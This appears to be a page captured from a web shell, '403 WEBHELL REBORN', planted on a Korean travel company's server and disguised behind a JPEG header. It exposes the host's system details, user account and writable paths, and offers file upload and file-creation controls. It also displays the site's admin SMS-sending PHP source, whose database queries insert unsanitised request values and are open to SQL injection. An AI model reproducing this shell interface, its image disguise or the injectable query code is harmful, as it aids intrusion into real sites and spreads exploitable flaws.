ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/member/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/member/person_sms_modify.html
<?
if($_GET['tpl'] == 'pop'){
	include "../include/top_iframe.html";
} else {
	include "../include/top.html";
}
include "_common.php";

$data = member_fetch(" and seq='{$seq}' ");
$row = $data[0];

//SMS발송 히스토리
$sql = "select * from TB_SMS_HISTORY where mb_id='{$row['mb_id']}' AND type='S' order by ins_dt desc limit 3 ";
$rs=db_query($sql);
$sms_hist = db_fetch_all($rs);
foreach($sms_hist as $k => $v){
	$data_member = get_member($v['admin_id'], 'mb_nm');
	$data_sms[] = array(
		'ins_dt'		=> $v['ins_dt'],
		'admin_nm'		=> $data_member['mb_nm'],
		'message'		=> $v['message'],
	);
}

// 회원등급 목록
$culv = base_codec("MEM","CULV",$row['mb_cu_level']);
$culv_str = $culv[0]['cd_nm'];

//SMS세팅정보
$sms_info = send_new_send();

// 성별
if($row['mb_gend']=="M") {
	$mb_gender = "남자";
} else {
	$mb_gender = "여자";
}

// SMS 발신번호
$sender = trim(str_replace("-", "", $cf['ppurio_sender']));

// SMS 수신번호
$mb_phone = trim(str_replace("-", "", $row['mb_phone']));

?>

<div class="contents_wrap">
	<div class="contents_wrap_in">
		<div class="title">개인회원<span class="arrow">&gt;</span><strong>문자발송</strong></div>
		<div class="contents_detail">
			<div id="Content_box">
			
			<!-- 폼 -->
			<form name="frm_mb_edit" id="frm_mb_edit" method="post">
			<input type="hidden" name="SqlType" value="mb_edit">
			<input type="hidden" name="seq" value="<?=$row['seq']?>">
			<input type="hidden" name="tpl" value="<?=$tpl?>">
			<div class="member_wrap">
				<? include "person_tab.html"; ?>
				<table width="91%" border="0" cellspacing="0" cellpadding="0" class="t_register con_pop" summary="개인회원 정보를 수정하실 수 있습니다." style="margin-bottom:40px;">
				<caption>개인회원 정보수정</caption>
				<tbody>
					<tr style="border-top:1.2px solid #777;height:43px">
						<th scope="row"><label for="email_1">아이디</label></th>
						<td><?=$row['mb_id']?></td>
						<th scope="row"><label for="mb_enm1">영문이름</label></th>
						<td><?=$row['mb_enm1']?> <?=$row['mb_enm2']?></td>
					</tr>
					<tr style="height:43px">
						<th width="100" scope="row"><label for="name">고객명</label></th>
						<td width="40%"><p style="float:left;font-weight:bold;font-size:13px"><?=$row['mb_nm']?></p>&nbsp /&nbsp
						<?=$culv_str?>&nbsp /&nbsp
						<?=$mb_gender?>
						</td>
						<th scope="row"><label for="mb_phone">연락처</label></th>
						<td>
							<?=$row['mb_phone']?>&nbsp;
							<span class="input_lo"> <input type="checkbox" name="mb_sms_yn" id="mb_sms_yn" value="Y" <?=($row['mb_sms_yn']=="Y")?"checked":""?>><label for="mb_sms_yn">SMS수신</label></span>
						</td>
					</tr>
				</tbody>
				</table>
			</div>
			</form>
			<!-- /폼 -->

			<!-- 폼 -->
			<form name="frm_mb_sms" id="frm_mb_sms" method="post">
			<input type="hidden" name="SqlType" value="mb_sms_send">
			<input type="hidden" name="mb_id" value="<?=$row['mb_id']?>">
			<input type="hidden" name="seq" value="<?=$row['seq']?>">
				<div class="sms pt20">
				<table width="91%" border="0" cellspacing="0" cellpadding="0" class="t_r_list2" style="background-color:#FFF;margin-top:-40px;">
				<thead>
					<colgroup>
						<col width="8%" />
						<col width="17%" />
						<col width="8%" />
						<col width="17%" />
						<col width="8%" />
						<col width="17%" />
						<col width="8%" />
						<col width="17%" />
					</colgroup>
				</thead>
				<tbody>
					<tr style="border-top:1.3px solid #777;background-color:#f9f9f9">
						<td style="text-align:center" colspan="2">SMS 발송</td>
						<td colspan="6" style="text-align:center;">SMS 발송내역</td>
					</tr>
					<tr style="text-align:center">
						<td>From</td>
						<td> 
							<input type="text" name="from_tel" id="from_tel" size="30" class="input_text" style="width:140px" value="<?=$sender?>" readonly>
						</td>
						<td>발송일자</td>
						<td> 
							<input type="text" name="from_tel1" size="30" class="input_text" style="width:140px" value="<?=$data_sms[0][ins_dt]?>" readonly>
						</td>
						<td>발송일자</td>
						<td> 
							<input type="text" name="from_tel2" size="30" class="input_text" style="width:140px" value="<?=$data_sms[1][ins_dt]?>" readonly>
						</td>
						<td>발송일자</td>
						<td> 
							<input type="text" name="from_tel3" size="30" class="input_text" style="width:140px" value="<?=$data_sms[2][ins_dt]?>" readonly>
						</td>
					</tr>
					<tr style="text-align:center">
						<td>To</td>
						<td> 
							<input type="text" name="recv_tel" id="recv_tel" size="30" class="input_text" value="<?=$mb_phone?>" style="width:140px">
						</td>
						<td>발송직원</td>
						<td> 
							<input type="text" name="to_tel1" size="30" class="input_text" style="width:140px" value="<?=$data_sms[0]['admin_nm']?>">
						</td>
						<td>발송직원</td>
						<td> 
							<input type="text" name="to_tel2" size="30" class="input_text" style="width:140px" value="<?=$data_sms[1]['admin_nm']?>">
						</td>
						<td>발송직원</td>
						<td> 
							<input type="text" name="to_tel3" size="30" class="input_text" style="width:140px" value="<?=$data_sms[2]['admin_nm']?>">
						</td>
					</tr>
					<tr style="height:350px;">
						<td colspan="2" class="txt_c">
							<textarea name="message" id="message" cols="30" onkeyup="CheckStrLen(this, 80);" onchange="CheckStrLen(this, 80);" KeyDown="return contents_check(this,event)" onfocus="CheckStrLen(this, 80);" style="width:220px; height:220px;margin-top:1px;"><?=$sms_cont?></textarea>
							<br>
							<a href="javascript:;" onClick="check_sms_form();" class="Bbtn red" style="margin-top:30px">문자발송</a>
							<div class="text_area" style="display:block;margin-top:5px">
							<font color="red" name = "t2" id = "t2">0</font> Byte 
							(<strong><span id="msg_type" class="mt5 mb10">SMS 발송</span></strong>)
							</div>
						</td>
						<td colspan="2" class="txt_c">
							<textarea name="msg1" id="msg1" cols="30" onkeyup="CheckStrLen(this, 80);" onchange="CheckStrLen(this, 80);" KeyDown="return contents_check(this,event)" onfocus="CheckStrLen(this, 80);" style="width:220px; height:220px;margin-top:-18px;background-color:#eee" readonly><?=$data_sms[0]['message'];?></textarea>
							<br>
							<a href="javascript:;" onClick="check_sms();" class="Bbtn red" style="margin-top:30px;background-color:#666;border-color:#555">복사하기</a>
						</td>
						<td colspan="2" class="txt_c">
							<textarea name="msg2" id="msg2" cols="30" style="width:220px; height:220px;margin-top:-18px;background-color:#eee" readonly><?=$data_sms[1]['message'];?></textarea>
							<br>
							<a href="javascript:;" onClick="check_sms1();" class="Bbtn red" style="margin-top:30px;background-color:#666;border-color:#555"">복사하기</a>
						</td>
						<td colspan="2" class="txt_c">
							<textarea name="msg3" id="msg3" cols="30"  style="width:220px; height:220px;margin-top:-18px;background-color:#eee" readonly><?=$data_sms[2]['message'];?></textarea>
							<br>
							<a href="javascript:;" onClick="check_sms2();" class="Bbtn red" style="margin-top:30px;background-color:#666;border-color:#555"">복사하기</a>
						</td>
					</tr>
					
					  <!-- <th rowspan="6">발송 SMS</th>
					  				  
					  					<?
					  					for($i=0 ; $i<5 ; $i++){
					  					$row = $sms_hist[$i];
					  					?>
					  				
					  					<td><span class="send_txt">&nbsp;<?=$row['message']?></span><span class="sms_date">&nbsp;<?=$row['ins_dt']?></span></td>
					  			
					  				<?}?> -->
				</tbody>
				</table>
			</form>
			</div>

			</div>
			<!-- /폼 -->
			</div>
		</div>
		</div>
<script type="text/javascript">
//SMS 발송
function check_sms_form()
{
	var f = document.frm_mb_sms;

	var result = to_validation(f);
	if(result == false) return false;
		
	if(!confirm('발송하시겠습니까?'))return false;
		
	ajax_post("ajax_proc","member_proc.php?<?=$_href?>","frm_mb_sms");
}

//SMS복사
function check_sms()
{
 document.getElementById('message').value = document.getElementById('msg1').value;
}
function check_sms1()
{
 document.getElementById('message').value = document.getElementById('msg2').value;
}
function check_sms2()
{
 document.getElementById('message').value = document.getElementById('msg3').value;
}

//SMS 글자수제한
function CheckStrLen(filed, max_count){
	var str;
	var str_count = 0;
	var cut_count = 0;
	var str_length = filed.value.length;
	var msg_type = "";

	for(k=0; k < str_length; k++){
	str = filed.value.charAt(k);
		if(escape(str).length > 4){
		str_count += 2;
		}else{
		// (\r\n은 1byte 처리)
			if(escape(str)=='%0A') {
			} else {
			str_count++;
			}
		}
		console.log(str_count);
		if(max_count < str_count){
			msg_type = "LMS 전송";
		} else {
			msg_type = "SMS 전송";
		}

		$("#msg_type").text(msg_type);
	}
	document.getElementById("t2").innerHTML= str_count
}

//엔터키 막기
function contents_check(form,event) {
	var key = event.keyCode;
	if(key==13){
		event.returnValue = false;
	}
}

</script>
<? include "../include/footer.html" ?>


Anon7 - 2021